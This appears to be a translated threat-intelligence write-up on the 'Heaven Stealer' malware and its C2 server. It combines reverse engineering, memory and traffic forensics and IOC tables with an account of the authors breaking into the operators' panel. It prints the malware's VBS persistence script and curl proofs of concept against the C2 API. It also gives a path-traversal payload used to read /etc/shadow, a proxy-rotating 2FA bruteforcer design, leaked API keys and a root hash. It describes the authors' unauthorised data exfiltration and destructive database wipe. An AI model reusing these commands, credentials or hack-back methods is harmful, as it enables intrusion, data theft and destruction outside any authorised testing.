| VULN-11 | Information in robots.txt | LOW | 2.7 | CWE-200 |
| VULN-00 | Prototype Pollution (patched) | PATCHED | - | CWE-1321 |
5.2. Analysis of Critical Flaws#
[VULN-18] /api/heartbeat - C2 channel interception (CVSS 9.8)
The request POST /api/heartbeat with any UUID returned the current operator commands. An attacker could see the moment screen streaming started, operator messages to the victim, and shell command names.
[VULN-21] /api/browser_data - Database poisoning (CVSS 9.8)
The server accepted any data without authorization, even an empty JSON {}. This allowed the injection of Canary tokens to deanonymize the operator.
[VULN-19] /api/connect - Fake bots registration (CVSS 9.5) The server auto-generated a UUID upon receiving an empty request. The panel could be flooded with millions of fictitious bots.
[VULN-01] IP Disclosure via DNS (CVSS 9.1)
The record c2.heavenproject.lgbt -> 162.0.236.31 allowed a complete WAF bypass.
5.3. Other Vulnerabilities#
- VULN-03 (8.6): 188 KB of dashboard source code publicly accessible
- VULN-04 (7.4): Subdomain
c2operates over HTTP - passwords and cookies are transmitted in plain text - VULN-05 (7.3): Lack of Rate Limiting allowed TOTP bruteforcing in 17 minutes. Patched after the first intrusion attempt, but bypassed by us via proxy (Section 10)
- VULN-14 (7.2): SOCKS5 on port 1080 open for password bruteforcing
5.4. CVE Verification (false positives)#
- CVE-2024-45338 (Go chunked DoS): Delay of 1.8x = timeout, not a bug. Unconfirmed.
- CVE-2024-24790 (SSRF): Standard fallback routing. False positive.
- CVE-2024-34156 (Go gob overflow): Consistently returns 401 in ~1s at 5000 levels of nesting. Not vulnerable.
- CVE-2025-22871 (LF smuggling): TCP reset. Protected.
- CVE-2024-6387 (OpenSSH regreSSHion): Patch installed.
- SQL/NoSQL/Path Traversal via sqlmap: 24 tests, 0 results (binary Key-Value store, later discovered to be SQLite).
6. PRACTICAL POC (PROOF OF CONCEPT)#
6.1. Bot Registration without Authorization#
# Registering a test bot:
curl -X POST http://c2.heavenproject.lgbt/api/connect \
-H "Content-Type: application/json" \
-d '{"os":"Windows 11 Pro","hwid":"TEST-HWID","username":"Victim"}'
# Response: {"id":"3f3ce2e1-b842-d402-f4ed-93ae0b3594c0","status":"ok"}
# Heartbeat - command polling:
curl -X POST http://c2.heavenproject.lgbt/api/heartbeat \
-H "Content-Type: application/json" \
-d '{"id":"3f3ce2e1-b842-d402-f4ed-93ae0b3594c0"}'
# Response: {"chat":null,"command":"none","screen":false,"status":"ok","webcam":false}
Registered test UUIDs:
3f3ce2e1-b842-d402-f4ed-93ae0b3594c0,f2860802-e169-25d1-7b28-48fed4124b3e8752c57b-1bd9-4d58-6a6d-5fdb06c3bcb8,d88c5716-d713-8547-99af-ccfd3f29668e10e3e99b-bbd1-711e-557b-30cf04b43fc1,12d104b7-183a-ed48-0f6d-b402577a04168e46ddd0-76b3-51aa-da44-ba337e1ad0c8,ecdd61d4-5f39-45f0-8444-8d24b9ee0555
6.2. Database Poisoning (Data Poisoning)#
# Injection of fake passwords:
curl -X POST http://c2.heavenproject.lgbt/api/browser_data \
-H "Content-Type: application/json" \
-d '{"id":"3f3ce2e1-...","type":"passwords","data":[{"url":"https://corporate.portal","username":"ceo@target.corp","password":"CanaryTrapPassword2026!"}]}'
# Response: {"status":"ok"}
# Injection of a fake keylogger:
curl -X POST http://c2.heavenproject.lgbt/api/keylog \
-H "Content-Type: application/json" \
-d '{"id":"3f3ce2e1-...","window":"Google Chrome","keys":"admin_login[TAB]SuperSecret[ENTER]"}'
# Response: {"status":"ok"}
6.3. HTTP Polling Reverse Shell and HVNC Interception#
When the operator sent a shell command, /api/heartbeat returned {"command": "terminal:whoami"}. The emulator script sent a fictitious response "NT AUTHORITY\\SYSTEM", and the operator observed successful execution with maximum privileges.
7. MALWARE REVERSE ENGINEERING (HEAVEN STEALER)#
7.1. Delivery Chain (~113 MB) and Distribution Infrastructure#
- Initial sample delivered via MEGA:
https://mega.nz/file/FV932aaT#TkrZhW7G0m9PmNe5N9VWgLpqaMFwaPTu4IUAQOvUE9o - An acquaintance accidentally installed the malware disguised as Velocity New, which initiated this entire investigation.
- ANY.RUN Sandbox Tasks:
- Task #1: ANY.RUN Task deb65d82 (Velocity New sample)
- Task #2: ANY.RUN Task 59d4cf0c (Heaven v2 sample)
- Task #3: ANY.RUN Task 6ad256b4 (Additional malicious payload build)
- Malware Droppers / Distribution Sites:
velocityget.com- Fake download portal disguised as Velocity clientkrnl-executorr.com/- Fake site disguised as popular Roblox exploit KRNLhttps://skycheaters.com- Fake gaming cheat distribution resource
- Phishing Domains and Redirects:
noreplyamz-sign-in.webredirect.org(including subdomains:www,mail,cpanel,webmail,webdisk,cpcontacts)
- External installer: NSIS + packed
app-64.7z
7.2. Temporary Installer Artifacts#
The installer creates C:\Users\<User>\AppData\Local\Temp\nszF928.tmp\ and extracts:
StdUtils.dll(102 KB),System.dll(12 KB),SpiderBanner.dll(9 KB)app-64.7z(112 MB) ->resources\app.asar(7.5 KB) +resources\app.jar(15.4 MB)
7.3. Dropper (main.js from app.asar) and Disguise as Google Update#
Script main.js inside app.asar:
- Acquires mutex
app.requestSingleInstanceLock() - Copies Java Runtime disguised as Google Update:
%LocalAppData%\Google\Update\GUManager\runtime\bin\javaw.exe - Copies payload:
%AppData%\Microsoft\Windows\Templates\syshost.jar - Launches hidden process:
javaw.exe -jar syshost.jar - Closes the installer window, simulating an installation failure
7.4. Disguise as Fabric Mod for Minecraft (cutify_cozy-1.21.11)#
Inside syshost.jar, the code is disguised as a Minecraft mod:
- Manifest:
fabric.mod.json, name:cutify_cozy-1.21.11 - Entry class:
j.l.c.qk8PDez9nnaFpI
Build v2 (directory hevan) had key differences:
- Dual entry point: Fabric preLaunch (
n.e.l.GhlGPobMXnAqMF) + standalone JAR (n.e.l.JSo5Ml1QaZW7hMwith JNA libraries). Could be launched both via Minecraft and viajava -jar - Package moved from
j.l.c.*ton.e.l.* - 7,500+ dummy classes to complicate analysis
- 331 encrypted files
.dbof 16,392 bytes each - HVNC Payload:
hvnc.enc(206 KB)
7.5. Persistence via WMI Daemon (win_security_update.vbs)#
The stealer creates a script that checks for the syshost.jar process via WMI every 5 seconds and restarts it:
On Error Resume Next
Set shell = CreateObject("WScript.Shell")
Set service = GetObject("winmgmts:")
Do
Set processes = service.ExecQuery("Select * from Win32_Process Where CommandLine Like '%syshost.jar%'")
If processes.Count = 0 Then
shell.Run """...\javaw.exe"" -jar ""...\syshost.jar""", 0, False
End If
WScript.Sleep 5000
Loop
7.6. Two-Level Bytecode Obfuscation#
- Layer 1 - XOR:
Plaintext = Base64Decode(Arg) XOR 0x7A- 18,458 lines deobfuscated - Layer 2 - AES-128-ECB:
Key = SHA-256(Password)[0..15]- protects configuration and network strings
7.7. Stealer Modules#
- Browsers: Extraction of Master Key via DPAPI, decryption of passwords and cookies from Chrome, Edge, Brave
- Discord: Token interception + injection into the desktop client
- Steam: Dumping of authentication files
ssfn* - HVNC: Hidden desktop via Win32 API (
CreateDesktop,SwitchDesktop) - SOCKS5: Proxy via the infected computer to mask the operator's IP
- Collection Directory:
%TEMP%\Heaven_Data\(passwords.txt, cookies.txt, autofill.txt, history.txt, downloads.txt)
8. MEMORY DUMPS (MEMORY FORENSICS)#
8.1. C2 API Key (H7CJRKSZBX7EM6YQ)#
In the dump javaw.exe_2026-08-30_16-36-21.dmp (332.1 MB) an open master key was found:
H7CJRKSZBX7EM6YQ
Check: POST https://heavenproject.lgbt/api/login with {"apiKey":"H7CJRKSZBX7EM6YQ"} returned {"next":"2fa","status":"ok"}.
8.2. Session Tokens and Bot UUIDs#
| Artifact | Value | Purpose |
|---|---|---|
| API Key (v1) | H7CJRKSZBX7EM6YQ |
C2 Panel Master Key |
| Session Token | efa965bf70fc2f8d5494d1457b8ae365b7d39ef37f88608e4775847b4c5f8120 |
Module synchronization |
| Bot UUID (current) | f1ded8a4-941f-4b0a-850a-9b6472a12a9f |
Active session |
| Bot UUID (VM 1) | 72ecc0d3-9f0d-4bb0-bf47-880fd3a983b7 |
First VM |
| Bot UUID (VM 2) | 5d407630-3736-4766-83e6-6cfaabea6e8f |
Test sandbox |
8.3. Dropper Dump#
In the dump velocity new.exe.6656.dmp (2.0 MB), NSIS library URLs and app.asar deployment descriptors were found.
8.4. Heaven v2 Dumps - New Key JP1ZYRLIXYPPVOGP#
From recent dumps (09.09.2026):
javaw.exe_2026-09-09_16-21-15.dmp(1,657.6 MB)javaw.exe_2026-09-09_16-22-37.dmp(273.3 MB)wscript.exe_2026-09-09_16-22-19.dmp(79.1 MB)wscript.exe_2026-09-09_16-22-30.dmp(46.0 MB)
New API Key: JP1ZYRLIXYPPVOGP - in v2 the malware transmits the key directly in the /api/connect JSON.
Intercepted JSON packet of bot registration:
{
"name": "Unknown",
"uuid": "8574827b-48aa-4cd8-b855-db51c876cb25",
"pcName": "DESKTOP-49788EQ",
"osName": "Windows 10",
"osVersion": "10.0",
"javaVersion": "21.0.7",
"ram": "3GB",
"mcVersion": "1.1.0-chat",
"apiKey": "JP1ZYRLIXYPPVOGP",
"monitorCount": 1,
"monitors": [{"id": 1, "name": "\\Display0", "width": 1458, "height": 936}],
"webcams": []
}
Decrypted Endpoints in RAM: /api/connect, /api/heartbeat (700+ hits), /api/keylog.
Session Token v2: 6595b64144ccf1df.
Dumps of wscript.exe confirmed the operation of the persistent daemon win_security_update.vbs.
9. NETWORK TRAFFIC ANALYSIS (PCAP)#
File: 213131.pcapng (60.8 s, 539 packets, 178 KB)
Victim: HOME-PC, IP 192.168.11.128, Windows 10/11, Chromium 128.0
9.2. Second-by-Second Timeline#
T+0.0s Chromium - UPnP SSDP discovery
T+9.8s CRL Check via c.pki.goog
T+24.9s Attempting connection to api.ipify.org (TCP RST reset)
T+33.0s DNS: heavenproject.lgbt -> 104.21.25.235 (Cloudflare)
T+33.3s TLS ClientHello -> 104.21.25.235:443
=> Connection #1 (port 49881) - WebSocket C2-channel
T+37.5s api.ipify.org - obtaining victim's external IP
T+37.7s TLS ClientHello -> 104.21.25.235:443
=> Connection #2 (port 49883) - data exfiltration
T+37.8s *** MASS EXFILTRATION ***
14 packets of 1460 bytes (~20 KB)
T+38.4s 12 packets of 1460 bytes (~17 KB)
T+39.9s 12 packets of 1460 bytes (~17 KB)
TOTAL: ~55-60 KB of encrypted data in 2 seconds
T+42.0s C2 Response - acknowledgment of receipt
T+48.3s DNS: discord.com -> TLS -> Discord Webhook (operator notification)
T+60.8s End of capture
9.3. TLS Channels and Exfiltration#
All traffic to C2 is TLS 1.3 (TLS_AES_256_GCM_SHA384). Heartbeat every ~1.0 second: request 351 bytes, response ~750 bytes.
9.4. Discord Webhook Notification#
At T+48.3s the stealer sent a report to the operator: hostname, public IP, OS version, number of stolen passwords.
10. BYPASSING RATE LIMITING AND 2FA CRACKING - RUST BRUTER#
10.1. Background: VULN-05 Patch#
After our first attempt to log into the panel (when a working API key was extracted and the session moved to the 2FA waiting state), the C2 panel creators patched the VULN-05 vulnerability. Now, after 5 incorrect 2FA code attempts, the server blocked the IP address for an unknown period of time, and the created session (which was created upon entering the API key) expired.
Additionally, a Developer Tools protection was added to the panel: client-side JavaScript code blocked opening DevTools by standard methods (F12, Right-click, Ctrl+Shift+I). To bypass it, one had to open them manually via the browser menu: Three dots > More tools > Developer tools.
10.2. Bypass Architecture#
To bypass the IP block, the following scheme was developed:
graph LR
subgraph Bruter["Rust Bruter (heaven_v2_rust)"]
SF["700 Session Fillers"] -->|"POST /api/login via proxy"| POOL["Session Pool (up to 5000)"]
POOL --> W["up to 800 workers"]
W -->|"POST /api/2fa_verify"| C2["C2 Server"]
end
PROXY["proxy.txt file with HTTP proxies"] --> SF
C2 -->|"Code found!"| DC["Discord Webhook: notification + cookie"]Key Idea: The server blocks the IP after 5 incorrect attempts, but each request goes through a different proxy server with a different IP. A separate counter is maintained for each proxy, and upon receiving a block (HTTP 429), the proxy is banned for 61 seconds.
10.3. Tool Description#
A tool heaven_v2_rust was written in Rust (1,292 lines), fully asynchronous on tokio. Main characteristics:
- Session Pool: 700 concurrent "fillers" continuously created new sessions via
POST /api/login, sending the API key through different proxies. Target pool size - 2,000 active sessions, maximum - 5,000 - 2FA Bruteforce: up to 800 concurrent workers took sessions from the pool and sent 6-digit TOTP codes to
POST /api/2fa_verify. Each session was used for a maximum of 5 attempts, after which it was discarded - Proxy Rotation: each proxy could make a maximum of 8 login requests per 60 seconds. Upon receiving HTTP 429, the proxy was banned for 61 seconds and returned to the end of the queue
- Adaptive Scaler: every 100 ms the system checked the balance between the rate of session creation and the rate of their consumption, dynamically adjusting the number of workers
- Notification: when the correct code was found, the system sent 10 notifications to Discord with the session cookie and a ready-made JS command to insert into the browser:
document.cookie = "heaven_session=<token>; path=/"; location.href = "/dashboard"; - Auto-dump: after a successful login, the script automatically exfiltrated data from
/api/me,/api/clients,/api/settings,/api/admin/keys
11. C2 ADMIN PANEL PENTEST (09.09.2026)#
11.1. Panel Access#
After successfully bypassing 2FA, we gained access to the administrator panel at https://heavenproject.lgbt/dashboard.
Account data:
{"apiKey": "JP1ZYRLIXYPPVOGP", "isAdmin": true, "is_2fa_enabled": true, "name": "trexy admin"}
11.2. Botnet Scale#
| Metric | Value |
|---|---|
| Infected devices in database | ~6,500+ (at the time of cleanup) |
| Operators in panel | 6 (opi, trexy, trexy admin, admin, klewtr, klew) |
| Role "trexy admin" | ADMIN |
| Malware build status | building (active) |
| Hosting | SolusVM VPS, Ubuntu 24.04 LTS |
| Runtime | Node.js + pm2 (heaven-server) |
| Process running as | root |
All panel operators:
| Name | API Key | 2FA | Role |
|---|---|---|---|
| opi | EDB0S2N0RWU16ZK0 |
Enabled | USER |
| trexy | H7CJRKSZBX7EM6YQ |
Enabled | USER |
| trexy admin | JP1ZYRLIXYPPVOGP |
Enabled | ADMIN |
| admin | PJ5QTUSUXP6WV0MT |
Enabled | ADMIN |
| klewtr | RFRUENM4J6L8O0UX |
Enabled | USER |
| klew | TQOFFQFUVX8LVMLA |
Enabled | USER |
11.3. Admin Panel Vulnerabilities#
VULN-A1 [CRITICAL - CVSS 9.8] Live TOTP codes via API#
GET /api/admin/keys/<apiKey> returned the active TOTP code and base32 secret for any operator. Two-factor authentication was completely meaningless.
{"current_2fa_code": "247731", "isAdmin": true, "key": "JP1ZYRLIXYPPVOGP", ...}
VULN-A2 [CRITICAL - CVSS 9.8] Reading arbitrary server files (LFI)#
Detailed analysis - in section 11.4.
VULN-A3 [CRITICAL - CVSS 9.1] Lack of CSRF protection#
POST /api/admin/keys/add without a CSRF token created a new operator: {"key":"2L9YNPGD66QX0AI0","status":"ok"}.
VULN-A4 [CRITICAL - CVSS 9.5] Writing to victim's clipboard without authorization#
POST /api/hvnc_clipboard?clientId=<uuid>&direction=setVictim accepted requests without a cookie, returning 200 OK. It was possible to write any text to the clipboard of any victim.
VULN-A5 [CRITICAL - CVSS 9.0] Complete victim data leak#
GET /api/admin/clients - dump of all victims (1.57 MB). GET /api/client_data/<uuid> - full stolen data (passwords, cookies, Discord tokens, Steam) up to 1 MB per record.
VULN-A6 [CRITICAL - CVSS 8.8] Changing C2 settings#
POST /api/settings - changing the Discord webhook to a custom URL intercepted all notifications.
VULN-A7 [HIGH - CVSS 8.5] Access to the malware build system#
POST /api/build initiated the build of a new payload. Status: {"status":"building"}.
VULN-A8 [HIGH] Discord webhooks of all operators disclosed#
The API returned full webhook URLs:
webhooks/1540448239583633418/...(trexy admin)webhooks/1539372581013164143/...(trexy)webhooks/1546836849472049235/...(trexy admin-hook)webhooks/1522077967805583390/...(opi)
VULN-A9 [HIGH] Zero HTTP Security Headers#
CSP, X-Frame-Options, HSTS, X-Content-Type-Options, Referrer-Policy - all missing.
VULN-A10 [HIGH] Cookie without Secure flag#
heaven_session is transmitted over HTTP without protection.
11.4. LFI - Reading Server Files as root#
How the endpoint was found#
In the file app.js?v=62 (189 KB), using a regex search for API paths, the following string was found:
/api/file_download?token=${encodeURIComponent(data.token)}
This endpoint is intended for downloading victim files - the operator requests a file, the bot sends it to the C2, the C2 sends it to the operator via a temporary token.
Hypothesis and verification#
If token is a file path, and not a UUID in the database, then the server simply does fs.readFile(token):
GET /api/file_download?token=test123
-> 403 "Forbidden: Invalid or expired token"
GET /api/file_download?token=../../../../../../etc/passwd
-> 200 OK
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
Confirmed. Server code reconstruction:
app.get('/api/file_download', (req, res) => {
const token = req.query.token;
const filePath = path.join(uploadsDir, token); // NO VALIDATION!
res.sendFile(filePath);
});
// path.join('/uploads', '../../../../../../etc/passwd') = /etc/passwd
File system reconnaissance#
/etc/passwd - the process runs as root:
root:x:0:0:root:/root:/bin/bash
sshd:!:20293::::::
/etc/hosts -> 127.0.0.1 localhost (SolusVM VPS)
/etc/hostname -> server1.heavenproject.lgbt
/etc/os-release -> Ubuntu 24.04.4 LTS (Noble Numbat)
/root/.bash_history (via a second LFI vector /api/admin/download-steam):
pm2 status
pm2 restart
killall -9 node
pm2 start heaven-server
pm2 stop heaven-server
/root/heaven/package.json - revealed the full Node.js tech stack.
11.5. Attempted SSH Breach via Password Hash#
Via LFI, the /etc/shadow file was obtained:
root:$1$cNB5NdX1$VgL1GL54f6HQ9yhx6DXzd1:19902:0:99999:7:::
ubuntu:!:19902:0:99999:7:::
The hash type is MD5crypt ($1$). Attempting to crack it using hashcat (hashcat -a 0 -m 500 hash.txt rockyou.txt) yielded no results. Since port 22 was open, but the password couldn't be cracked quickly, further actions were limited to the web interface.
11.6. Technical Server Environment#
| Parameter | Value |
|---|---|
| OS | Ubuntu 24.04.4 LTS (Noble Numbat) |
| Hostname | server1.heavenproject.lgbt |
| Runtime | Node.js + pm2 |
| Application | heaven-server ("name": "mc-pornografik") |
| Runs as | root |
| Hosting | SolusVM / Namecheap (Phoenix, AZ) |
| CDN | Cloudflare |
| Real IP | 162.0.236.31 |
| MySQL | Port 3306 is open (TCP delay = 540ms) |
| Root password hash | $1$cNB5NdX1$VgL1GL54f6HQ9yhx6DXzd1 (MD5crypt) |
12. TIMELINE OF EVENTS AND OPERATION OUTCOME#
gantt
title Heaven Stealer Investigation Timeline
dateFormat YYYY-MM-DD
section Reconnaissance
Acquaintance infection, analysis begins :2026-08-30, 1d
Malware reverse, memory dumps :2026-08-30, 2d
Extraction of key H7CJRKSZBX7EM6YQ :2026-08-30, 1d
section First Attempt
First attempt to log into panel :2026-08-31, 1d
Creators patched Rate Limiting :2026-09-01, 1d
section Bypass
Development of Rust bruter with proxy :2026-09-01, 5d
Discovery of second sample on ANY.RUN :2026-09-06, 1d
v2 Dumps, key JP1ZYRLIXYPPVOGP :2026-09-09, 1d
section Breach
Successful 2FA bypass, panel access :2026-09-09, 1d
Admin API Pentest, LFI discovery :2026-09-09, 1d
Cleanup of ~6500 victims database :2026-09-09, 1d
Site went down - HTTP 521 :2026-09-09, 1dAugust 30, 2026 - an acquaintance was infected with the Heaven Stealer (Velocity New) malware. Analysis initiated: reverse engineering, memory dumps, traffic interception. From the JVM dump, the first API key H7CJRKSZBX7EM6YQ was extracted.
~August 31 - September 1 - first attempt to log into the C2 panel via TOTP bruteforce. Panel creators detected the attack and implemented IP blocking after 5 incorrect 2FA attempts. They also added protection against developer tools (blocking F12, RMB, Ctrl+Shift+I).
September 1-8 - development of the bypass tool in Rust with proxy rotation. A new malware sample was discovered on ANY.RUN (Task 59d4cf0c). The sample was run on a VM, and a new key JP1ZYRLIXYPPVOGP with administrator privileges was extracted from the memory dump.
September 9, 2026 (14:45 GMT / 16:45 MSK) - successful 2FA bypass, full access to the Admin panel obtained under the trexy admin account. Pentest conducted: critical vulnerabilities discovered (LFI, TOTP leak, lack of CSRF). The DevTools console confirmed the UI execution flow: clicking a table row (tr.onclick in app.js?v=62:2728) triggered window.viewUserClients (app.js?v=62:2793), fetching victim clients via /api/admin/clients?apiKey=.... Via LFI, /etc/shadow, /etc/hosts (SolusVM VPS), /etc/ssh/sshd_config, package.json, and /root/.bash_history (pm2 management commands for heaven-server) were read.
September 9, 2026 (15:06 UTC) - mass database wipe of all infected devices (~6,500) was executed using the delete_clients.py script (POST /api/delete_client calls verified with 200 OK {"status":"ok"}). As a combined result of rapid mass deletion requests, LFI auditing, SSH login attempts, and subsequent failure of the pm2 heaven-server process, the backend went completely offline. A persistent Cloudflare HTTP 521: Web server is down error was recorded (Host Error, Cloudflare edge node: Stockholm ARN, Ray ID: a38718bc7b2cb5b5).
13. INDICATORS OF COMPROMISE (IOC)#
13.1. Network Indicators (Network IOCs & Links)#
| Type | Value / Link | Description |
|---|---|---|
| C2 Web Dashboard | https://heavenproject.lgbt/ |
Main C2 operator dashboard |
| C2 Bot API Domain | http://c2.heavenproject.lgbt |
Direct telemetry intake domain (Port 80, no Cloudflare) |
| C2 Direct IP | http://162.0.236.31 |
Physical C2 server IP (Namecheap, Phoenix, AZ) |
| Cloudflare Edge | 104.21.25.235, 172.67.134.227 |
Cloudflare WAF/CDN proxy nodes |
| Host Reconnaissance (Shodan) | https://shodan.io/host/162.0.236.31 |
C2 host intelligence and open port scan profile on Shodan |
| IP Detection | api.ipify.org |
External service queried by stealer to resolve victim public IP |
| Developer Channel | t.me/heavenstealer |
Telegram channel of Heaven Stealer creators |
| ANY.RUN Task #1 | https://app.any.run/tasks/deb65d82-f89f-40c7-8004-0d0b502d56a8/ |
Initial analysis of Velocity New (~113 MB) |
| ANY.RUN Task #2 | https://app.any.run/tasks/59d4cf0c-5ef9-41b2-ad9f-e4a440338ba3 |
Analysis of Heaven v2 build (cutify-cozy) |
| ANY.RUN Task #3 | https://app.any.run/tasks/6ad256b4-5a3e-493d-861b-46f587a88996 |
Additional payload analysis task |
| Distribution Host (MEGA) | https://mega.nz/file/FV932aaT#TkrZhW7G0m9PmNe5N9VWgLpqaMFwaPTu4IUAQOvUE9o |
Initial installer archive download |
| Velocity Dropper | velocityget.com |
Fake download portal disguised as Velocity client |
| KRNL Dropper | krnl-executorr.com/ |
Fake cheat/exploit download site |
| Cheats Portal | https://skycheaters.com |
Fake gaming cheat distribution portal |
| Amazon Phishing | noreplyamz-sign-in.webredirect.org |
Phishing domain and redirect |
| Phishing Subdomains | www.noreplyamz-sign-in.webredirect.orgmail.noreplyamz-sign-in.webredirect.orgcpanel.noreplyamz-sign-in.webredirect.orgwebmail.noreplyamz-sign-in.webredirect.orgwebdisk.noreplyamz-sign-in.webredirect.orgcpcontacts.noreplyamz-sign-in.webredirect.org |
Internal mail and cPanel routing infrastructure for phishing |
| C2 Ports | 22 (SSH), 80 (HTTP), 1080 (SOCKS5), 3306 (MySQL), 4044, 9999, 18999 |
Exposed services on 162.0.236.31 |
| LFI Endpoint | /api/file_download?token=../../../../../../ |
Arbitrary file read path leading to server compromise |
13.2. Host Indicators#
| Type | Path / Value | Description |
|---|---|---|
| Payload | %AppData%\...\Templates\syshost.jar |
Java stealer (15.4 MB) |
| Persistence | %AppData%\...\Templates\win_security_update.vbs |
WMI daemon (524 bytes) |
| Bot ID | %AppData%\...\Templates\id.txt |
Bot UUID (36 bytes) |
| Fake JRE | %LocalAppData%\Google\Update\GUManager\... |
Java disguised as Google Update |
| Installer | %LocalAppData%\Programs\velocitynew\velocity new.exe |
Electron wrapper |
| Stolen Data | %TEMP%\Heaven_Data\ |
Passwords, cookies, autofill |
| Processes | javaw.exe, velocity new.exe, wscript.exe |
Active processes |
| Mod v2 | cutify-cozy-1.21.11.jar |
Updated build |
| HVNC | hvnc.enc (206 KB) |
Hidden desktop |
13.3. Cryptographic Artifacts#
| Type | Value |
|---|---|
| API key v1 | H7CJRKSZBX7EM6YQ |
| API key v2 (admin) | JP1ZYRLIXYPPVOGP |
| Operator key opi | EDB0S2N0RWU16ZK0 |
| Operator key admin | PJ5QTUSUXP6WV0MT |
| Operator key klewtr | RFRUENM4J6L8O0UX |
| Operator key klew | TQOFFQFUVX8LVMLA |
| Bot UUID v2 | 8574827b-48aa-4cd8-b855-db51c876cb25 |
| Session Token v1 | efa965bf70fc2f8d... |
| Session Token v2 | 6595b64144ccf1df |
| SSH ECDSA | ad:ce:7d:d1:40:d4:4c:08:45:55:7f:4d:80:bc:a0:67 |
| SSH ED25519 | 4d:e6:b6:12:f5:e5:5c:e2:83:5e:3d:f6:a6:4c:00:fc |
| Cloudflare Beacon | 8f7de527c94947548759c1b2fd858355 |
| Root hash (MD5crypt) | $1$cNB5NdX1$VgL1GL54f6HQ9yhx6DXzd1 |
| Hostname | server1.heavenproject.lgbt |
Document created based on 12 reports, memory dumps, network PCAP capture, malware decompilation, and Admin panel pentest. Investigation period: August 30 - September 9, 2026.
⚠️ Disclaimers & Notices:
- AI Translation Notice: This document was translated from Russian using AI. The original Russian text is the authoritative source.
- Security & Legal Disclaimer: Prepared strictly for educational, defensive threat intelligence, and cybersecurity research purposes. The authors assume no liability for misuse of the data provided.
Heaven Stealer C2 Takedown - Short Summary#
| Parameter | Value |
|---|---|
| Target | C2 Infrastructure (heavenproject.lgbt, c2.heavenproject.lgbt), Heaven Stealer malware |
| IP Addresses | heavenproject.lgbt (104.21.25.235, 172.67.134.227), c2.heavenproject.lgbt (162.0.236.31) |
| Analysis Type | Reverse engineering, memory forensics, PCAP analysis, C2 panel pentest |
| Period | Aug 30 - Sep 9, 2026 |
| Outcome | Panel hacked, ~6,500 victims DB wiped, site taken down |
| Data Exfiltrated | 1,013 MB of raw ZIP archives and telemetry from operator "trexy" |
Authors:#
- @freakscary - neversocial.life
- @alowyy1 - alowyy1.com
What is Heaven Stealer?#
Heaven Stealer is a malware operation disguised as legitimate software (e.g., Velocity New, Minecraft Fabric Mods). It features a two-layer obfuscation (XOR + AES-128-ECB), persistent WMI-daemon deployment, and modules for stealing browser data, Discord tokens, Steam sessions, and a hidden desktop (HVNC) with SOCKS5 proxy capabilities.
Key Findings#
- API Keys Extracted: Two functional API keys were recovered from JVM memory dumps:
H7CJRKSZBX7EM6YQ(v1) andJP1ZYRLIXYPPVOGP(v2 admin). - 2FA Bypass: A custom asynchronous Rust bruter was developed to bypass rate-limiting and IP bans by utilizing rotating proxies, successfully cracking the TOTP 2FA.
- Admin Access: Full administrator access was gained to the C2 panel (
trexy adminrole). - Victims Database Cleared: The entire database containing over 6,500 infected devices was completely wiped via
POST /api/delete_client. - Data Exfiltration: Successfully downloaded 1,013 MB of raw ZIP archives and telemetry from "trexy", the largest operator on the panel.
- Site Takedown: After mass client deletion and server audit, the backend crashed and the C2 infrastructure was taken offline (Cloudflare HTTP 521 - Web server is down).
Timeline (Aug 30 - Sep 9, 2026)#
- Aug 30: Analysis started after a friend accidentally installed Heaven Stealer (Velocity New). Initial reverse engineering and memory dumps yielded the first API key.
- Aug 31 - Sep 1: First attempt to breach the C2 panel. The creators patched the rate-limiting vulnerability (IP block after 5 failed 2FA attempts).
- Sep 1 - Sep 8: Developed a custom Rust proxy-rotating tool to bypass the newly implemented 2FA rate-limiting. A new sample (v2) was discovered on ANY.RUN.
- Sep 9: Successfully bypassed 2FA and gained full Admin panel access. Conducted a penetration test discovering critical vulnerabilities, including LFI. Wiped the 6,500+ victim database. The site subsequently went offline.
Tools Developed#
- heaven_v2_rust: (Rust, 1,292 lines) Asynchronous 2FA bruter with proxy rotation, session pooling, and adaptive scaling.
- TOTP Interceptor v6: (Go) Early version of the 2FA bruter.
- delete_clients.py: Asynchronous mass deletion script for wiping victim UUIDs from the C2 database (50 parallel workers, handling 429 Rate Limit).
- Python Scripts: For proxy gathering (
main_proxy.py) and vulnerability research PoCs. - interceptor.exe: Standalone compiled tool.
Vulnerabilities Identified#
In total, 23 infrastructure vulnerabilities and 10 Admin panel vulnerabilities were discovered. All 8 endpoints used for bot communication lacked authorization.
Critical LFI (Local File Inclusion) Vulnerability#
The panel exposed an endpoint (/api/file_download?token=...) without input validation or directory traversal protection. Since the Node.js C2 process (heaven-server) ran as root, this allowed arbitrary file reading across the entire server by using payloads like ../../../../../../etc/passwd. We successfully read /etc/shadow, /etc/hosts (SolusVM VPS), /etc/ssh/sshd_config, and the source code (package.json).
Other Critical Flaws#
- Bot API without Auth: Allowed registering fake bots, spoofing terminal output, and intercepting operator commands via
/api/heartbeat. - Admin TOTP Leak:
GET /api/admin/keys/<apiKey>returned the live TOTP code and base32 secret in plaintext. - WAF Bypass: The
c2.heavenproject.lgbtsubdomain pointed directly to the backend IP (162.0.236.31), bypassing Cloudflare.
IOC Summary & Investigated Links#
- C2 Network:
https://heavenproject.lgbt/,http://c2.heavenproject.lgbt,http://162.0.236.31 - Host Intelligence: Shodan (162.0.236.31),
api.ipify.org - ANY.RUN Sandbox Analysis:
- ANY.RUN Task deb65d82 (Velocity New)
- ANY.RUN Task 59d4cf0c (Heaven v2)
- ANY.RUN Task 6ad256b4 (Additional build)
- Malware Dropper & Distribution Sites:
velocityget.comkrnl-executorr.com/https://skycheaters.com
- Phishing Infrastructure:
noreplyamz-sign-in.webredirect.org(and subdomains:www,mail,cpanel,webmail,webdisk,cpcontacts)
- API Keys / Telegram:
H7CJRKSZBX7EM6YQ,JP1ZYRLIXYPPVOGP,t.me/heavenstealer - File Paths:
%AppData%\...\Templates\syshost.jar,%LocalAppData%\Programs\velocitynew\velocity new.exe,%TEMP%\Heaven_Data\
Outcome#
The operation was a complete success. The malware's backend was fully compromised, victim data was securely deleted, and the C2 server was taken offline due to combined stress and service crash, permanently returning a Cloudflare HTTP 521 error (Ray ID: a38718bc7b2cb5b5).
⚠️ Zastrzeżenia prawne i informacja o tłumaczeniu:
- Informacja o tłumaczeniu AI: Ten dokument został przetłumaczony z języka rosyjskiego przy użyciu AI. Mogą występować drobne nieścisłości terminologiczne. Oryginalna wersja w języku rosyjskim jest źródłem nadrzędnym.
